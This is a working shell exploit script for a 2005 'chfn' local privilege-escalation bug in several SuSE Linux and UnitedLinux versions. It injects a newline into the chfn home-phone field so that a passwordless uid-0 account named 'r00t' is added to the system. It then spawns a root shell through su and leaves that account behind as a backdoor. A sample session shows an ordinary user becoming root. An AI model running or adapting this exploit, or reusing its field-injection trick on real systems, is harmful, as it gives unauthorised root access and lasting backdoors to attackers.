susechfn.sh.txt

`#!/bin/sh  
#  
# Exploit for SuSE Linux 9.{1,2,3}/10.0, Desktop 1.0, UnitedLinux 1.0  
# and SuSE Linux Enterprise Server {8,9} 'chfn' local root bug.  
#   
# by Hunger <[email protected]>  
#  
# Advistory:  
# http://lists.suse.com/archive/suse-security-announce/2005-Nov/0002.html  
#   
# hunger@suse:~> id  
# uid=1000(hunger) gid=1000(hunger) groups=1000(hunger)  
# hunger@suse:~> ./susechfn.sh  
# Type your current password to get root... :)  
# Password:  
# sh-2.05b# id  
# uid=0(r00t) gid=0(root) groups=0(root)  
  
if [ X"$SHELL" = "X" ]; then  
echo "No SHELL environment, using /bin/sh for default."  
export SHELL=/bin/sh  
fi  
  
if [ -u /usr/bin/chfn ]; then  
/bin/echo "Type your current password to get root... :)"  
/usr/bin/chfn -h "`echo -e ':/:'$SHELL'\nr00t::0:0:'`" $USER > /dev/null  
if [ -u /bin/su ]; then  
/bin/su r00t  
/bin/echo "You can get root again with 'su r00t'"  
else   
echo "/bin/su file is not setuid root :("  
fi  
else  
echo "/usr/bin/chfn file is not setuid root :("  
fi  
`